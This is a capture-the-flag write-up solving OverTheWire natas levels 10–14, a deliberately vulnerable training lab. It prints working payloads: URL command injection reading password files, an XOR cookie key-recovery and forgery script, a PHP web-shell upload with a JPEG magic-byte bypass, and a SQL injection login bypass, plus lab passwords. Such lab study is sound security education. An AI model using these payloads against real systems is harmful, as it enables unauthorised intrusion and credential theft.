Contents

Natas Challenges (part 2)

Continuing to work through the OverTheWire natas challenges, this post covers solutions for levels 10 through 14.

  • Part 1 can be found here
  • Part 3 can be found here
  • Part 4 can be found here

natas10

Starting this off by going to: http://natas10.natas.labs.overthewire.org/

Login info is:

1
2
User: natas10
Pass: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

Looks like the same challenge as before, except that there is now filtering of ; and &s from the input strings. However, since that’s all the filtering that is done, it’s simple enough to just use a different escape-like character to execute multiple commands, this challenge can be solved with the URL encoding for a \n, aka %A0:

1
http://natas10.natas.labs.overthewire.org/?needle=%0Acat%20/etc/natas_webpass/natas11&submit=Search

And the password:

1
U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

natas11

Starting this off by going to: http://natas11.natas.labs.overthewire.org/

Login info is:

1
2
User: natas11
Pass: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

The hint after opening the page is:

Cookies are protected with “XOR” encryption.

Followed by a prompt asking for a cookie and a button to view the source.

Time to look at the source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<html>
<head>

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
      $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}
saveData($data);
</body>
</html>

Looking over the source that’s available from the server, the process is the following:

  1. Pass default data into the “loadData” function
  2. Load the “data” from the saved cookie.
  3. Decrypt the cookie to check the values with the following operations:
    1. Base64_decode(…)
    2. Xor_encrypt(…)
    3. Json_decode(…)
  4. Once decrypted update the “default data” that were passed in and return the new values.
  5. Save the “loadedData” with the following operations:
    1. Json_encode(…)
    2. Xor_encrypt(…)
    3. Base64_encode(…)

One of the more interesting things to note is the xor_encrypt function used for both the save and load data (encrypt and decrypt). An interesting behavior behind XOR:

A = X ^ Y == A ^ X = Y

This behavior is interesting because despite not knowing the key that was used by the server, we do know what the expected value of the cookie is. Which a little bit of coding, we can exploit the behavior of XOR to get the key used by the server back. Once we have the key, we can update the value of showpassword to yes, re-encrypt the data, reload the page, and have the password show up, unlocking the next level.

Using the input of #ffffff for the saved cookie produces the following:

1
ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D

It’s worth noting that %3D is the URL encoding for =, so really the cookie is,

1
ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=

Using the original “xor_encrypt” function from above and modifying it slightly to take in a key:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
function xor_encrypt($in, $key) {
    $key = $key;
    $text = $in;
    $outText = '';
        echo "<br/>";
    // Iterate through each character
    for ($i=0; $i<strlen($text); $i++) {
        $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}

Create a function that takes in the original or default data, as well as the base64_decoded cookie. The purpose of this function is to use the “known” data and our “encrypted” data in order to determine the key.

1
2
3
4
5
6
7
8
9
function xor_decode_key($in, $orig) {
    $text = $in;
    $plainText = $orig;

    for ($i = 0; $i < strlen($text); $i++) {
    $d .= ($plainText[$i]) ^ $text[$i];
    }
    return $d;
}

Create a function that takes in the base64_decoded text, and our discovered key to decrypt the data (verifies that everything works as expected):

1
2
3
4
5
6
7
8
9
function xor_decrypt($in, $_key) {
    $text = $in;
    $key = $_key;

    for ($i = 0; $i < strlen($text); $i++) {
        $d .= $text[$i] ^ $key[$i];
    }
    return $d;
}

Put together with the known data (taken directly from the original source):

1
2
$defaultdata = array("showpassword" => "no",
        "bgcolor" => "#ffffff");

Grabbing the cookie from the browser:

1
$k0 = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=";

Then call the function to determine the key used by passing in the base64_decoded cookie:

1
2
$key0 = xor_decode_key(base64_decode($k0), json_encode($df));
echo $key0;

Verify that we have the correct key by decoding the cookie entirely:

1
2
$dcka = xor_decrypt(base64_decode($k0), $key0);
echo "<br>".$dcka;

Update the defaultdata's showpassword to yes and then encrypt with the key just found:

1
2
$newcookie = base64_encode(xor_encrypt(json_encode($defaultdata), $dcka));
echo "<br>".$newcookie;

All that’s left is to take the cookie and put it into the browser and refresh.

Which gives us the password:

1
The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

natas12

Starting this off by going to: http://natas12.natas.labs.overthewire.org/

Login info is:

1
2
User: natas12
Pass: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

This challenge has a simple JPEG upload form, with a max size of 1KB, and an option to view the source.

Clicking the view the source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<html>
<head>
<?

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";
    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }
    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

One of the first interesting to notice, is it looks like $_POST["filename"] reads from the input field filename. Looking that over it seems to encode a random string and ALWAYS appends the .jpg file extension to the end of it.

1
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />

In the code from the server this function is used to determine a new random name, regardless of what the original upload name was:

1
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

The trick with this challenge lies here:

1
2
3
4
function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

So the file extension is always tied to the $_POST["filename"], if we can change what the file ending is for the POST, it should be possible to upload any arbitrary file.

The end goal here is to upload a simple php script to execute a command to read the password for natas13. The payload we need to create php file with the following contents:

1
<?php system("cat /etc/natas_webpass/natas13"); ?>

Back in the browser, use the inspector to change the hardcoded file extension to php. After that upload the php payload and recieve a link to execute the php script.

Doing so reveals the password:

1
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

natas13

Starting this off by going to: http://natas13.natas.labs.overthewire.org/

Login info is:

1
2
User: natas13
Pass: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

This challenge is just like natas12, except this time around there’s better security:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
}

This time around there’s an explicit check on the exif_imagetype. Looking up the documentation exif_imagetype:

exif_imagetype() reads the first bytes of an image and checks its signature.

In order to still have our code get executed, the same sort of exploit as last time can be used, except the php payload that is uploaded needs to have a few bytes added to the beginning to bypass this exif_imagetype filter.

On linux there a hex dumping tool called xxd that can be used to look at a real jpg. By looking the raw bytes of the jpg we can figure out what the first few bytes are that would be checked by exif_imagetype. Most files have some sort of identifying header information that applications use to know how to parse it. Wiki has good details about JPEG File Interchange Format.

In the case of a jpg the contents look like:

1
00000000: ffd8 ffe0

So all that’s left is to insert these bytes at the start of the php payload, a quick one line python script should do the trick:

1
python -c 'print "\xff\xd8\xff\xe0" + "\n<? system(\"cat /etc/natas_webpass/natas14\"); ?>"' > getpass.php

Following the same process as last time with our new and improved php file as we did in natas12, results the password of:

1
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

natas14

Starting this off by going to: «http://natas14.natas.labs.overthewire.org/>

Login info is:

1
2
User: natas14
Pass: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

With JPG upload bypasses covered, it’s time to move onto username and password login bypasses that are validated via SQL queries. Presented with a form asking for Username and Password, and a button for viewing source:

The source shows the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<html>
<head>
<?
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Based on the source it seems there’s a debug option to print out the query that was executed to check to see if the username and password is valid. We can abuse this with the following:

1
http://natas14.natas.labs.overthewire.org/index.php?username=a&password=a&debug

Which gives us the following output:

1
2
Executing query: SELECT * from users where username="a" and password="a"
Access denied!

The interesting thing here is that the query doesn’t seem to be well guarded against improperly formatted input which opens the door to sql injection attacks.

Ultimately the code is just checking that the result from the query is greater than 1:

1
if(mysql_num_rows(mysql_query($query, $link)) > 0) {

The trick here will be to always get a positive value out of the query, regardless if the username and password are actually valid. Given the lack of checking against the characters provided, it should be possible to abuse the input and have the sql query ignore the username and password and evaluate any condition provided, in this case using an OR with an always true statement.

In practice this means that the input needed is: " or "a"="a. The first " closes off the opening quotation mark allowing for the OR to be evaluated as an SQL statement. That statement is "a"="a, which is always true. One thing to notice is that there is not final ", that is because the original sql statement would normally have included that had we not closed it early.

In practice this looks like:

1
    SELECT * from users where username="" or "a"="a" and password="" or "a"="a"

And here we have the password for the next level:

1
    Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J